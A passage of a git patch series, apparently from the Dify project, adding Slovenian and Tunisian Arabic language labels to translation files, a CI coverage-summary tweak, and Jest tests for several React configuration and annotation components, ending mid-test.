correctly.""" + obj_with_files = {"file1": file, "file2": file} + result = truncator._truncate_json_primitives(obj_with_files, 1000) + + assert isinstance(result.value, dict) + assert len(result.value) == 2 + assert result.value["file1"] == file + assert result.value["file2"] == file + assert result.truncated is False + + class TestIntegrationScenarios: """Test realistic integration scenarios.""" From 5539bf878809e64b2b1badd23e25644ef4456b09 Mon Sep 17 00:00:00 2001 From: GuanMu Date: Wed, 17 Dec 2025 10:18:10 +0800 Subject: [PATCH 34/38] fix: add Slovenian and Tunisian Arabic translations across multiple language files (#29759) --- web/i18n/ar-TN/common.ts | 2 ++ web/i18n/de-DE/common.ts | 2 ++ web/i18n/en-US/common.ts | 2 ++ web/i18n/es-ES/common.ts | 2 ++ web/i18n/fa-IR/common.ts | 2 ++ web/i18n/fr-FR/common.ts | 2 ++ web/i18n/hi-IN/common.ts | 2 ++ web/i18n/id-ID/common.ts | 2 ++ web/i18n/it-IT/common.ts | 2 ++ web/i18n/ja-JP/common.ts | 2 ++ web/i18n/ko-KR/common.ts | 2 ++ web/i18n/pl-PL/common.ts | 2 ++ web/i18n/pt-BR/common.ts | 2 ++ web/i18n/ro-RO/common.ts | 2 ++ web/i18n/ru-RU/common.ts | 2 ++ web/i18n/sl-SI/common.ts | 2 ++ web/i18n/th-TH/common.ts | 2 ++ web/i18n/tr-TR/common.ts | 2 ++ web/i18n/uk-UA/common.ts | 2 ++ web/i18n/vi-VN/common.ts | 2 ++ web/i18n/zh-Hans/common.ts | 2 ++ web/i18n/zh-Hant/common.ts | 2 ++ web/package.json | 4 ++-- 23 files changed, 46 insertions(+), 2 deletions(-) diff --git a/web/i18n/ar-TN/common.ts b/web/i18n/ar-TN/common.ts index 10788713a4..8437c0643f 100644 --- a/web/i18n/ar-TN/common.ts +++ b/web/i18n/ar-TN/common.ts @@ -113,6 +113,8 @@ const translation = { hiIN: 'الهندية', trTR: 'التركية', faIR: 'الفارسية', + slSI: 'السلوفينية', + arTN: 'العربية التونسية', }, }, unit: { diff --git a/web/i18n/de-DE/common.ts b/web/i18n/de-DE/common.ts index 337406c719..479348ef43 100644 --- a/web/i18n/de-DE/common.ts +++ b/web/i18n/de-DE/common.ts @@ -99,6 +99,8 @@ const translation = { hiIN: 'Hindi', trTR: 'Türkisch', faIR: 'Persisch', + slSI: 'Slowenisch', + arTN: 'Tunesisches Arabisch', }, }, unit: { diff --git a/web/i18n/en-US/common.ts b/web/i18n/en-US/common.ts index 11cc866fde..d78520cf1f 100644 --- a/web/i18n/en-US/common.ts +++ b/web/i18n/en-US/common.ts @@ -113,6 +113,8 @@ const translation = { hiIN: 'Hindi', trTR: 'Türkçe', faIR: 'Farsi', + slSI: 'Slovenian', + arTN: 'Tunisian Arabic', }, }, unit: { diff --git a/web/i18n/es-ES/common.ts b/web/i18n/es-ES/common.ts index 1972183946..38d4402fd2 100644 --- a/web/i18n/es-ES/common.ts +++ b/web/i18n/es-ES/common.ts @@ -103,6 +103,8 @@ const translation = { hiIN: 'Hindi', trTR: 'Turco', faIR: 'Persa', + slSI: 'Esloveno', + arTN: 'Árabe tunecino', }, }, unit: { diff --git a/web/i18n/fa-IR/common.ts b/web/i18n/fa-IR/common.ts index 40c1a57d24..62a2e2cec8 100644 --- a/web/i18n/fa-IR/common.ts +++ b/web/i18n/fa-IR/common.ts @@ -103,6 +103,8 @@ const translation = { hiIN: 'هندی', trTR: 'ترکی', faIR: 'فارسی', + slSI: 'اسلوونیایی', + arTN: 'عربی تونسی', }, }, unit: { diff --git a/web/i18n/fr-FR/common.ts b/web/i18n/fr-FR/common.ts index 525f3a28c0..da72b0497c 100644 --- a/web/i18n/fr-FR/common.ts +++ b/web/i18n/fr-FR/common.ts @@ -99,6 +99,8 @@ const translation = { hiIN: 'Hindi', trTR: 'Turc', faIR: 'Persan', + slSI: 'Slovène', + arTN: 'Arabe tunisien', }, }, unit: { diff --git a/web/i18n/hi-IN/common.ts b/web/i18n/hi-IN/common.ts index c6151f5988..fa25074b9c 100644 --- a/web/i18n/hi-IN/common.ts +++ b/web/i18n/hi-IN/common.ts @@ -103,6 +103,8 @@ const translation = { hiIN: 'हिन्दी', trTR: 'तुर्की', faIR: 'फ़ारसी', + slSI: 'स्लोवेनियाई', + arTN: 'ट्यूनीशियाई अरबी', }, }, unit: { diff --git a/web/i18n/id-ID/common.ts b/web/i18n/id-ID/common.ts index cac1696768..0c70b0341e 100644 --- a/web/i18n/id-ID/common.ts +++ b/web/i18n/id-ID/common.ts @@ -103,6 +103,8 @@ const translation = { viVN: 'Vietnam', ukUA: 'Ukraina', faIR: 'Farsi', + slSI: 'Bahasa Slovenia', + arTN: 'Bahasa Arab Tunisia', itIT: 'Italia', zhHant: 'Mandarin Tradisional', thTH: 'Thai', diff --git a/web/i18n/it-IT/common.ts b/web/i18n/it-IT/common.ts index d8eb7935bf..d5793bb902 100644 --- a/web/i18n/it-IT/common.ts +++ b/web/i18n/it-IT/common.ts @@ -103,6 +103,8 @@ const translation = { hiIN: 'Hindi', trTR: 'Turco', faIR: 'Persiano', + slSI: 'Sloveno', + arTN: 'Arabo tunisino', }, }, unit: { diff --git a/web/i18n/ja-JP/common.ts b/web/i18n/ja-JP/common.ts index 2f7bb13fb5..d4647fbc12 100644 --- a/web/i18n/ja-JP/common.ts +++ b/web/i18n/ja-JP/common.ts @@ -109,6 +109,8 @@ const translation = { hiIN: 'ヒンディー語', trTR: 'トルコ語', faIR: 'ペルシア語', + slSI: 'スロベニア語', + arTN: 'チュニジア・アラビア語', }, }, unit: { diff --git a/web/i18n/ko-KR/common.ts b/web/i18n/ko-KR/common.ts index 99ac7a2d70..805b9f9840 100644 --- a/web/i18n/ko-KR/common.ts +++ b/web/i18n/ko-KR/common.ts @@ -99,6 +99,8 @@ const translation = { hiIN: '힌디어', trTR: '터키어', faIR: '페르시아어', + slSI: '슬로베니아어', + arTN: '튀니지 아랍어', }, }, unit: { diff --git a/web/i18n/pl-PL/common.ts b/web/i18n/pl-PL/common.ts index 938208da34..2ecf18c7e6 100644 --- a/web/i18n/pl-PL/common.ts +++ b/web/i18n/pl-PL/common.ts @@ -99,6 +99,8 @@ const translation = { hiIN: 'Hindi', trTR: 'Turecki', faIR: 'Perski', + slSI: 'Słoweński', + arTN: 'Arabski tunezyjski', }, }, unit: { diff --git a/web/i18n/pt-BR/common.ts b/web/i18n/pt-BR/common.ts index 1a5c531535..d0838b4f09 100644 --- a/web/i18n/pt-BR/common.ts +++ b/web/i18n/pt-BR/common.ts @@ -99,6 +99,8 @@ const translation = { hiIN: 'Hindi', trTR: 'Turco', faIR: 'Persa', + slSI: 'Esloveno', + arTN: 'Árabe Tunisiano', }, }, unit: { diff --git a/web/i18n/ro-RO/common.ts b/web/i18n/ro-RO/common.ts index 4a5004ae2c..8b8ab9ac26 100644 --- a/web/i18n/ro-RO/common.ts +++ b/web/i18n/ro-RO/common.ts @@ -98,6 +98,8 @@ const translation = { hiIN: 'Hindi', trTR: 'Turcă', faIR: 'Persană', + slSI: 'Slovenă', + arTN: 'Arabă tunisiană', plPL: 'Poloneză', }, }, diff --git a/web/i18n/ru-RU/common.ts b/web/i18n/ru-RU/common.ts index 45ad5150e2..afc9368e9e 100644 --- a/web/i18n/ru-RU/common.ts +++ b/web/i18n/ru-RU/common.ts @@ -103,6 +103,8 @@ const translation = { hiIN: 'Хинди', trTR: 'Турецкий', faIR: 'Персидский', + slSI: 'Словенский', + arTN: 'Тунисский арабский', }, }, unit: { diff --git a/web/i18n/sl-SI/common.ts b/web/i18n/sl-SI/common.ts index ce898fb085..b024ace3be 100644 --- a/web/i18n/sl-SI/common.ts +++ b/web/i18n/sl-SI/common.ts @@ -103,6 +103,8 @@ const translation = { hiIN: 'Hindujščina', trTR: 'Turščina', faIR: 'Farsi', + slSI: 'Slovenščina', + arTN: 'Tunizijska arabščina', }, }, unit: { diff --git a/web/i18n/th-TH/common.ts b/web/i18n/th-TH/common.ts index 9e67c3559f..9c325e3781 100644 --- a/web/i18n/th-TH/common.ts +++ b/web/i18n/th-TH/common.ts @@ -103,6 +103,8 @@ const translation = { hiIN: 'ฮินดี', trTR: 'ตุรกี', faIR: 'ภาษาเปอร์เซีย', + slSI: 'ภาษาสโลเวเนีย', + arTN: 'ภาษาอาหรับตูนิเซีย', }, }, unit: { diff --git a/web/i18n/tr-TR/common.ts b/web/i18n/tr-TR/common.ts index f9d55265bf..8b0a7cba69 100644 --- a/web/i18n/tr-TR/common.ts +++ b/web/i18n/tr-TR/common.ts @@ -103,6 +103,8 @@ const translation = { hiIN: 'Hintçe', trTR: 'Türkçe', faIR: 'Farsça', + slSI: 'Slovence', + arTN: 'Tunus Arapçası', }, }, unit: { diff --git a/web/i18n/uk-UA/common.ts b/web/i18n/uk-UA/common.ts index be7186fca8..bd0f55c2f5 100644 --- a/web/i18n/uk-UA/common.ts +++ b/web/i18n/uk-UA/common.ts @@ -99,6 +99,8 @@ const translation = { hiIN: 'Хінді', trTR: 'Турецька', faIR: 'Перська', + slSI: 'Словенська', + arTN: 'Туніська арабська', }, }, unit: { diff --git a/web/i18n/vi-VN/common.ts b/web/i18n/vi-VN/common.ts index 2d30d3240e..8b1b69163e 100644 --- a/web/i18n/vi-VN/common.ts +++ b/web/i18n/vi-VN/common.ts @@ -99,6 +99,8 @@ const translation = { hiIN: 'Tiếng Hindi', trTR: 'Tiếng Thổ Nhĩ Kỳ', faIR: 'Tiếng Ba Tư', + slSI: 'Tiếng Slovenia', + arTN: 'Tiếng Ả Rập Tunisia', }, }, unit: { diff --git a/web/i18n/zh-Hans/common.ts b/web/i18n/zh-Hans/common.ts index 7bb1bff826..8e7103564f 100644 --- a/web/i18n/zh-Hans/common.ts +++ b/web/i18n/zh-Hans/common.ts @@ -113,6 +113,8 @@ const translation = { hiIN: '印地语', trTR: '土耳其语', faIR: '波斯语', + slSI: '斯洛文尼亚语', + arTN: '突尼斯阿拉伯语', }, }, unit: { diff --git a/web/i18n/zh-Hant/common.ts b/web/i18n/zh-Hant/common.ts index 1b1d222845..1a72a083d8 100644 --- a/web/i18n/zh-Hant/common.ts +++ b/web/i18n/zh-Hant/common.ts @@ -99,6 +99,8 @@ const translation = { hiIN: '印地語', trTR: '土耳其語', faIR: '波斯語', + slSI: '斯洛維尼亞語', + arTN: '突尼西亞阿拉伯語', }, }, unit: { diff --git a/web/package.json b/web/package.json index c5dbf0a07d..961288b495 100644 --- a/web/package.json +++ b/web/package.json @@ -2,7 +2,7 @@ "name": "dify-web", "version": "1.11.1", "private": true, - "packageManager": "pnpm@10.25.0+sha512.5e82639027af37cf832061bcc6d639c219634488e0f2baebe785028a793de7b525ffcd3f7ff574f5e9860654e098fe852ba8ac5dd5cefe1767d23a020a92f501", + "packageManager": "pnpm@10.26.0+sha512.3b3f6c725ebe712506c0ab1ad4133cf86b1f4b687effce62a9b38b4d72e3954242e643190fc51fa1642949c735f403debd44f5cb0edd657abe63a8b6a7e1e402", "engines": { "node": ">=v22.11.0" }, @@ -288,4 +288,4 @@ "sharp" ] } -} \ No newline at end of file +} From 4a1ddea43195fbd8fd863c2281f960d4308cd73e Mon Sep 17 00:00:00 2001 From: -LAN- Date: Wed, 17 Dec 2025 10:18:41 +0800 Subject: [PATCH 35/38] ci: show missing lines in coverage report summary (#29717) --- .github/workflows/api-tests.yml | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/.github/workflows/api-tests.yml b/.github/workflows/api-tests.yml index ab7878dc64..76cbf64fca 100644 --- a/.github/workflows/api-tests.yml +++ b/.github/workflows/api-tests.yml @@ -93,4 +93,12 @@ jobs: # Create a detailed coverage summary echo "### Test Coverage Summary :test_tube:" >> $GITHUB_STEP_SUMMARY echo "Total Coverage: ${TOTAL_COVERAGE}%" >> $GITHUB_STEP_SUMMARY - uv run --project api coverage report --format=markdown >> $GITHUB_STEP_SUMMARY + { + echo "" + echo "
File-level coverage (click to expand)" + echo "" + echo '```' + uv run --project api coverage report -m + echo '```' + echo "
" + } >> $GITHUB_STEP_SUMMARY From 232149e63fda9ec4001c60706b5584a2c72a0feb Mon Sep 17 00:00:00 2001 From: yyh <92089059+lyzno1@users.noreply.github.com> Date: Wed, 17 Dec 2025 10:19:10 +0800 Subject: [PATCH 36/38] chore: add tests for config string and dataset card item (#29743) --- .../config-var/config-string/index.spec.tsx | 121 +++++++++ .../dataset-config/card-item/index.spec.tsx | 242 ++++++++++++++++++ 2 files changed, 363 insertions(+) create mode 100644 web/app/components/app/configuration/config-var/config-string/index.spec.tsx create mode 100644 web/app/components/app/configuration/dataset-config/card-item/index.spec.tsx diff --git a/web/app/components/app/configuration/config-var/config-string/index.spec.tsx b/web/app/components/app/configuration/config-var/config-string/index.spec.tsx new file mode 100644 index 0000000000..e98a8dc53d --- /dev/null +++ b/web/app/components/app/configuration/config-var/config-string/index.spec.tsx @@ -0,0 +1,121 @@ +import { fireEvent, render, screen, waitFor } from '@testing-library/react' +import ConfigString, { type IConfigStringProps } from './index' + +const renderConfigString = (props?: Partial) => { + const onChange = jest.fn() + const defaultProps: IConfigStringProps = { + value: 5, + maxLength: 10, + modelId: 'model-id', + onChange, + } + + render() + + return { onChange } +} + +describe('ConfigString', () => { + beforeEach(() => { + jest.clearAllMocks() + }) + + describe('Rendering', () => { + it('should render numeric input with bounds', () => { + renderConfigString({ value: 3, maxLength: 8 }) + + const input = screen.getByRole('spinbutton') + + expect(input).toHaveValue(3) + expect(input).toHaveAttribute('min', '1') + expect(input).toHaveAttribute('max', '8') + }) + + it('should render empty input when value is undefined', () => { + const { onChange } = renderConfigString({ value: undefined }) + + expect(screen.getByRole('spinbutton')).toHaveValue(null) + expect(onChange).not.toHaveBeenCalled() + }) + }) + + describe('Effect behavior', () => { + it('should clamp initial value to maxLength when it exceeds limit', async () => { + const onChange = jest.fn() + render( + , + ) + + await waitFor(() => { + expect(onChange).toHaveBeenCalledWith(10) + }) + expect(onChange).toHaveBeenCalledTimes(1) + }) + + it('should clamp when updated prop value exceeds maxLength', async () => { + const onChange = jest.fn() + const { rerender } = render( + , + ) + + rerender( + , + ) + + await waitFor(() => { + expect(onChange).toHaveBeenCalledWith(6) + }) + expect(onChange).toHaveBeenCalledTimes(1) + }) + }) + + describe('User interactions', () => { + it('should clamp entered value above maxLength', () => { + const { onChange } = renderConfigString({ maxLength: 7 }) + + fireEvent.change(screen.getByRole('spinbutton'), { target: { value: '12' } }) + + expect(onChange).toHaveBeenCalledWith(7) + }) + + it('should raise value below minimum to one', () => { + const { onChange } = renderConfigString() + + fireEvent.change(screen.getByRole('spinbutton'), { target: { value: '0' } }) + + expect(onChange).toHaveBeenCalledWith(1) + }) + + it('should forward parsed value when within bounds', () => { + const { onChange } = renderConfigString({ maxLength: 9 }) + + fireEvent.change(screen.getByRole('spinbutton'), { target: { value: '7' } }) + + expect(onChange).toHaveBeenCalledWith(7) + }) + + it('should pass through NaN when input is cleared', () => { + const { onChange } = renderConfigString() + + fireEvent.change(screen.getByRole('spinbutton'), { target: { value: '' } }) + + expect(onChange).toHaveBeenCalledTimes(1) + expect(onChange.mock.calls[0][0]).toBeNaN() + }) + }) +}) diff --git a/web/app/components/app/configuration/dataset-config/card-item/index.spec.tsx b/web/app/components/app/configuration/dataset-config/card-item/index.spec.tsx new file mode 100644 index 0000000000..4d92ae4080 --- /dev/null +++ b/web/app/components/app/configuration/dataset-config/card-item/index.spec.tsx @@ -0,0 +1,242 @@ +import { fireEvent, render, screen, waitFor, within } from '@testing-library/react' +import userEvent from '@testing-library/user-event' +import Item from './index' +import type React from 'react' +import type { DataSet } from '@/models/datasets' +import { ChunkingMode, DataSourceType, DatasetPermission } from '@/models/datasets' +import type { IndexingType } from '@/app/components/datasets/create/step-two' +import type { RetrievalConfig } from '@/types/app' +import { RETRIEVE_METHOD } from '@/types/app' +import useBreakpoints, { MediaType } from '@/hooks/use-breakpoints' + +jest.mock('../settings-modal', () => ({ + __esModule: true, + default: ({ onSave, onCancel, currentDataset }: any) => ( +
+
Mock settings modal
+ + +
+ ), +})) + +jest.mock('@/hooks/use-breakpoints', () => { + const actual = jest.requireActual('@/hooks/use-breakpoints') + return { + __esModule: true, + ...actual, + default: jest.fn(() => actual.MediaType.pc), + } +}) + +const mockedUseBreakpoints = useBreakpoints as jest.MockedFunction + +const baseRetrievalConfig: RetrievalConfig = { + search_method: RETRIEVE_METHOD.semantic, + reranking_enable: false, + reranking_model: { + reranking_provider_name: 'provider', + reranking_model_name: 'rerank-model', + }, + top_k: 4, + score_threshold_enabled: false, + score_threshold: 0, +} + +const defaultIndexingTechnique: IndexingType = 'high_quality' as IndexingType + +const createDataset = (overrides: Partial = {}): DataSet => { + const { + retrieval_model, + retrieval_model_dict, + icon_info, + ...restOverrides + } = overrides + + const resolvedRetrievalModelDict = { + ...baseRetrievalConfig, + ...retrieval_model_dict, + } + const resolvedRetrievalModel = { + ...baseRetrievalConfig, + ...(retrieval_model ?? retrieval_model_dict), + } + + const defaultIconInfo = { + icon: '📘', + icon_type: 'emoji', + icon_background: '#FFEAD5', + icon_url: '', + } + + const resolvedIconInfo = ('icon_info' in overrides) + ? icon_info + : defaultIconInfo + + return { + id: 'dataset-id', + name: 'Dataset Name', + indexing_status: 'completed', + icon_info: resolvedIconInfo as DataSet['icon_info'], + description: 'A test dataset', + permission: DatasetPermission.onlyMe, + data_source_type: DataSourceType.FILE, + indexing_technique: defaultIndexingTechnique, + author_name: 'author', + created_by: 'creator', + updated_by: 'updater', + updated_at: 0, + app_count: 0, + doc_form: ChunkingMode.text, + document_count: 0, + total_document_count: 0, + total_available_documents: 0, + word_count: 0, + provider: 'dify', + embedding_model: 'text-embedding', + embedding_model_provider: 'openai', + embedding_available: true, + retrieval_model_dict: resolvedRetrievalModelDict, + retrieval_model: resolvedRetrievalModel, + tags: [], + external_knowledge_info: { + external_knowledge_id: 'external-id', + external_knowledge_api_id: 'api-id', + external_knowledge_api_name: 'api-name', + external_knowledge_api_endpoint: 'https://endpoint', + }, + external_retrieval_model: { + top_k: 2, + score_threshold: 0.5, + score_threshold_enabled: true, + }, + built_in_field_enabled: true, + doc_metadata: [], + keyword_number: 3, + pipeline_id: 'pipeline-id', + is_published: true, + runtime_mode: 'general', + enable_api: true, + is_multimodal: false, + ...restOverrides, + } +} + +const renderItem = (config: DataSet, props?: Partial>) => { + const onSave = jest.fn() + const onRemove = jest.fn() + + render( + , + ) + + return { onSave, onRemove } +} + +describe('dataset-config/card-item', () => { + beforeEach(() => { + jest.clearAllMocks() + mockedUseBreakpoints.mockReturnValue(MediaType.pc) + }) + + it('should render dataset details with indexing and external badges', () => { + const dataset = createDataset({ + provider: 'external', + retrieval_model_dict: { + ...baseRetrievalConfig, + search_method: RETRIEVE_METHOD.semantic, + }, + }) + + renderItem(dataset) + + const card = screen.getByText(dataset.name).closest('.group') as HTMLElement + const actionButtons = within(card).getAllByRole('button', { hidden: true }) + + expect(screen.getByText(dataset.name)).toBeInTheDocument() + expect(screen.getByText('dataset.indexingTechnique.high_quality · dataset.indexingMethod.semantic_search')).toBeInTheDocument() + expect(screen.getByText('dataset.externalTag')).toBeInTheDocument() + expect(actionButtons).toHaveLength(2) + }) + + it('should open settings drawer from edit action and close after saving', async () => { + const user = userEvent.setup() + const dataset = createDataset() + const { onSave } = renderItem(dataset) + + const card = screen.getByText(dataset.name).closest('.group') as HTMLElement + const [editButton] = within(card).getAllByRole('button', { hidden: true }) + await user.click(editButton) + + expect(screen.getByText('Mock settings modal')).toBeInTheDocument() + await waitFor(() => { + expect(screen.getByRole('dialog')).toBeVisible() + }) + + await user.click(screen.getByText('Save changes')) + + await waitFor(() => { + expect(onSave).toHaveBeenCalledWith(expect.objectContaining({ name: 'Updated dataset' })) + }) + await waitFor(() => { + expect(screen.getByText('Mock settings modal')).not.toBeVisible() + }) + }) + + it('should call onRemove and toggle destructive state on hover', async () => { + const user = userEvent.setup() + const dataset = createDataset() + const { onRemove } = renderItem(dataset) + + const card = screen.getByText(dataset.name).closest('.group') as HTMLElement + const buttons = within(card).getAllByRole('button', { hidden: true }) + const deleteButton = buttons[buttons.length - 1] + + expect(deleteButton.className).not.toContain('action-btn-destructive') + + fireEvent.mouseEnter(deleteButton) + expect(deleteButton.className).toContain('action-btn-destructive') + expect(card.className).toContain('border-state-destructive-border') + + fireEvent.mouseLeave(deleteButton) + expect(deleteButton.className).not.toContain('action-btn-destructive') + + await user.click(deleteButton) + expect(onRemove).toHaveBeenCalledWith(dataset.id) + }) + + it('should use default icon information when icon details are missing', () => { + const dataset = createDataset({ icon_info: undefined }) + + renderItem(dataset) + + const nameElement = screen.getByText(dataset.name) + const iconElement = nameElement.parentElement?.firstElementChild as HTMLElement + + expect(iconElement).toHaveStyle({ background: '#FFF4ED' }) + expect(iconElement.querySelector('em-emoji')).toHaveAttribute('id', '📙') + }) + + it('should apply mask overlay on mobile when drawer is open', async () => { + mockedUseBreakpoints.mockReturnValue(MediaType.mobile) + const user = userEvent.setup() + const dataset = createDataset() + + renderItem(dataset) + + const card = screen.getByText(dataset.name).closest('.group') as HTMLElement + const [editButton] = within(card).getAllByRole('button', { hidden: true }) + await user.click(editButton) + expect(screen.getByText('Mock settings modal')).toBeInTheDocument() + + const overlay = Array.from(document.querySelectorAll('[class]')) + .find(element => element.className.toString().includes('bg-black/30')) + + expect(overlay).toBeInTheDocument() + }) +}) From 91714ee41382ca348066ca0a97197286ce78b1bd Mon Sep 17 00:00:00 2001 From: yyh <92089059+lyzno1@users.noreply.github.com> Date: Wed, 17 Dec 2025 10:21:32 +0800 Subject: [PATCH 37/38] chore(web): add some jest tests (#29754) --- .../edit-item/index.spec.tsx | 397 +++++++++++++++++ .../edit-annotation-modal/index.spec.tsx | 408 ++++++++++++++++++ .../dataset-config/context-var/index.spec.tsx | 299 +++++++++++++ .../context-var/var-picker.spec.tsx | 392 +++++++++++++++++ 4 files changed, 1496 insertions(+) create mode 100644 web/app/components/app/annotation/edit-annotation-modal/edit-item/index.spec.tsx create mode 100644 web/app/components/app/annotation/edit-annotation-modal/index.spec.tsx create mode 100644 web/app/components/app/configuration/dataset-config/context-var/index.spec.tsx create mode 100644 web/app/components/app/configuration/dataset-config/context-var/var-picker.spec.tsx diff --git a/web/app/components/app/annotation/edit-annotation-modal/edit-item/index.spec.tsx b/web/app/components/app/annotation/edit-annotation-modal/edit-item/index.spec.tsx new file mode 100644 index 0000000000..1f32e55928 --- /dev/null +++ b/web/app/components/app/annotation/edit-annotation-modal/edit-item/index.spec.tsx @@ -0,0 +1,397 @@ +import { render, screen } from '@testing-library/react' +import userEvent from '@testing-library/user-event' +import EditItem, { EditItemType, EditTitle } from './index' + +describe('EditTitle', () => { + it('should render title content correctly', () => { + // Arrange + const props = { title: 'Test Title' } + + // Act + render() + + // Assert + expect(screen.getByText(/test title/i)).toBeInTheDocument() + // Should contain edit icon (svg element) + expect(document.querySelector('svg')).toBeInTheDocument() + }) + + it('should apply custom className when provided', () => { + // Arrange + const props = { + title: 'Test Title', + className: 'custom-class', + } + + // Act + const { container } = render() + + // Assert + expect(screen.getByText(/test title/i)).toBeInTheDocument() + expect(container.querySelector('.custom-class')).toBeInTheDocument() + }) +}) + +describe('EditItem', () => { + const defaultProps = { + type: EditItemType.Query, + content: 'Test content', + onSave: jest.fn(), + } + + beforeEach(() => { + jest.clearAllMocks() + }) + + // Rendering tests (REQUIRED) + describe('Rendering', () => { + it('should render content correctly', () => { + // Arrange + const props = { ...defaultProps } + + // Act + render() + + // Assert + expect(screen.getByText(/test content/i)).toBeInTheDocument() + // Should show item name (query or answer) + expect(screen.getByText('appAnnotation.editModal.queryName')).toBeInTheDocument() + }) + + it('should render different item types correctly', () => { + // Arrange + const props = { + ...defaultProps, + type: EditItemType.Answer, + content: 'Answer content', + } + + // Act + render() + + // Assert + expect(screen.getByText(/answer content/i)).toBeInTheDocument() + expect(screen.getByText('appAnnotation.editModal.answerName')).toBeInTheDocument() + }) + + it('should show edit controls when not readonly', () => { + // Arrange + const props = { ...defaultProps } + + // Act + render() + + // Assert + expect(screen.getByText('common.operation.edit')).toBeInTheDocument() + }) + + it('should hide edit controls when readonly', () => { + // Arrange + const props = { + ...defaultProps, + readonly: true, + } + + // Act + render() + + // Assert + expect(screen.queryByText('common.operation.edit')).not.toBeInTheDocument() + }) + }) + + // Props tests (REQUIRED) + describe('Props', () => { + it('should respect readonly prop for edit functionality', () => { + // Arrange + const props = { + ...defaultProps, + readonly: true, + } + + // Act + render() + + // Assert + expect(screen.getByText(/test content/i)).toBeInTheDocument() + expect(screen.queryByText('common.operation.edit')).not.toBeInTheDocument() + }) + + it('should display provided content', () => { + // Arrange + const props = { + ...defaultProps, + content: 'Custom content for testing', + } + + // Act + render() + + // Assert + expect(screen.getByText(/custom content for testing/i)).toBeInTheDocument() + }) + + it('should render appropriate content based on type', () => { + // Arrange + const props = { + ...defaultProps, + type: EditItemType.Query, + content: 'Question content', + } + + // Act + render() + + // Assert + expect(screen.getByText(/question content/i)).toBeInTheDocument() + expect(screen.getByText('appAnnotation.editModal.queryName')).toBeInTheDocument() + }) + }) + + // User Interactions + describe('User Interactions', () => { + it('should activate edit mode when edit button is clicked', async () => { + // Arrange + const props = { ...defaultProps } + const user = userEvent.setup() + + // Act + render() + await user.click(screen.getByText('common.operation.edit')) + + // Assert + expect(screen.getByRole('textbox')).toBeInTheDocument() + expect(screen.getByRole('button', { name: 'common.operation.save' })).toBeInTheDocument() + expect(screen.getByRole('button', { name: 'common.operation.cancel' })).toBeInTheDocument() + }) + + it('should save new content when save button is clicked', async () => { + // Arrange + const mockSave = jest.fn().mockResolvedValue(undefined) + const props = { + ...defaultProps, + onSave: mockSave, + } + const user = userEvent.setup() + + // Act + render() + await user.click(screen.getByText('common.operation.edit')) + + // Type new content + const textarea = screen.getByRole('textbox') + await user.clear(textarea) + await user.type(textarea, 'Updated content') + + // Save + await user.click(screen.getByRole('button', { name: 'common.operation.save' })) + + // Assert + expect(mockSave).toHaveBeenCalledWith('Updated content') + }) + + it('should exit edit mode when cancel button is clicked', async () => { + // Arrange + const props = { ...defaultProps } + const user = userEvent.setup() + + // Act + render() + await user.click(screen.getByText('common.operation.edit')) + await user.click(screen.getByRole('button', { name: 'common.operation.cancel' })) + + // Assert + expect(screen.queryByRole('textbox')).not.toBeInTheDocument() + expect(screen.getByText(/test content/i)).toBeInTheDocument() + }) + + it('should show content preview while typing', async () => { + // Arrange + const props = { ...defaultProps } + const user = userEvent.setup() + + // Act + render() + await user.click(screen.getByText('common.operation.edit')) + + const textarea = screen.getByRole('textbox') + await user.type(textarea, 'New content') + + // Assert + expect(screen.getByText(/new content/i)).toBeInTheDocument() + }) + + it('should call onSave with correct content when saving', async () => { + // Arrange + const mockSave = jest.fn().mockResolvedValue(undefined) + const props = { + ...defaultProps, + onSave: mockSave, + } + const user = userEvent.setup() + + // Act + render() + await user.click(screen.getByText('common.operation.edit')) + + const textarea = screen.getByRole('textbox') + await user.clear(textarea) + await user.type(textarea, 'Test save content') + + // Save + await user.click(screen.getByRole('button', { name: 'common.operation.save' })) + + // Assert + expect(mockSave).toHaveBeenCalledWith('Test save content') + }) + + it('should show delete option when content changes', async () => { + // Arrange + const mockSave = jest.fn().mockResolvedValue(undefined) + const props = { + ...defaultProps, + onSave: mockSave, + } + const user = userEvent.setup() + + // Act + render() + + // Enter edit mode and change content + await user.click(screen.getByText('common.operation.edit')) + const textarea = screen.getByRole('textbox') + await user.clear(textarea) + await user.type(textarea, 'Modified content') + + // Save to trigger content change + await user.click(screen.getByRole('button', { name: 'common.operation.save' })) + + // Assert + expect(mockSave).toHaveBeenCalledWith('Modified content') + }) + + it('should handle keyboard interactions in edit mode', async () => { + // Arrange + const props = { ...defaultProps } + const user = userEvent.setup() + + // Act + render() + await user.click(screen.getByText('common.operation.edit')) + + const textarea = screen.getByRole('textbox') + + // Test typing + await user.type(textarea, 'Keyboard test') + + // Assert + expect(textarea).toHaveValue('Keyboard test') + expect(screen.getByText(/keyboard test/i)).toBeInTheDocument() + }) + }) + + // State Management + describe('State Management', () => { + it('should reset newContent when content prop changes', async () => { + // Arrange + const { rerender } = render() + + // Act - Enter edit mode and type something + const user = userEvent.setup() + await user.click(screen.getByText('common.operation.edit')) + const textarea = screen.getByRole('textbox') + await user.clear(textarea) + await user.type(textarea, 'New content') + + // Rerender with new content prop + rerender() + + // Assert - Textarea value should be reset due to useEffect + expect(textarea).toHaveValue('') + }) + + it('should preserve edit state across content changes', async () => { + // Arrange + const { rerender } = render() + const user = userEvent.setup() + + // Act - Enter edit mode + await user.click(screen.getByText('common.operation.edit')) + + // Rerender with new content + rerender() + + // Assert - Should still be in edit mode + expect(screen.getByRole('textbox')).toBeInTheDocument() + }) + }) + + // Edge Cases (REQUIRED) + describe('Edge Cases', () => { + it('should handle empty content', () => { + // Arrange + const props = { + ...defaultProps, + content: '', + } + + // Act + const { container } = render() + + // Assert - Should render without crashing + // Check that the component renders properly with empty content + expect(container.querySelector('.grow')).toBeInTheDocument() + // Should still show edit button + expect(screen.getByText('common.operation.edit')).toBeInTheDocument() + }) + + it('should handle very long content', () => { + // Arrange + const longContent = 'A'.repeat(1000) + const props = { + ...defaultProps, + content: longContent, + } + + // Act + render() + + // Assert + expect(screen.getByText(longContent)).toBeInTheDocument() + }) + + it('should handle content with special characters', () => { + // Arrange + const specialContent = 'Content with & < > " \' characters' + const props = { + ...defaultProps, + content: specialContent, + } + + // Act + render() + + // Assert + expect(screen.getByText(specialContent)).toBeInTheDocument() + }) + + it('should handle rapid edit/cancel operations', async () => { + // Arrange + const props = { ...defaultProps } + const user = userEvent.setup() + + // Act + render() + + // Rapid edit/cancel operations + await user.click(screen.getByText('common.operation.edit')) + await 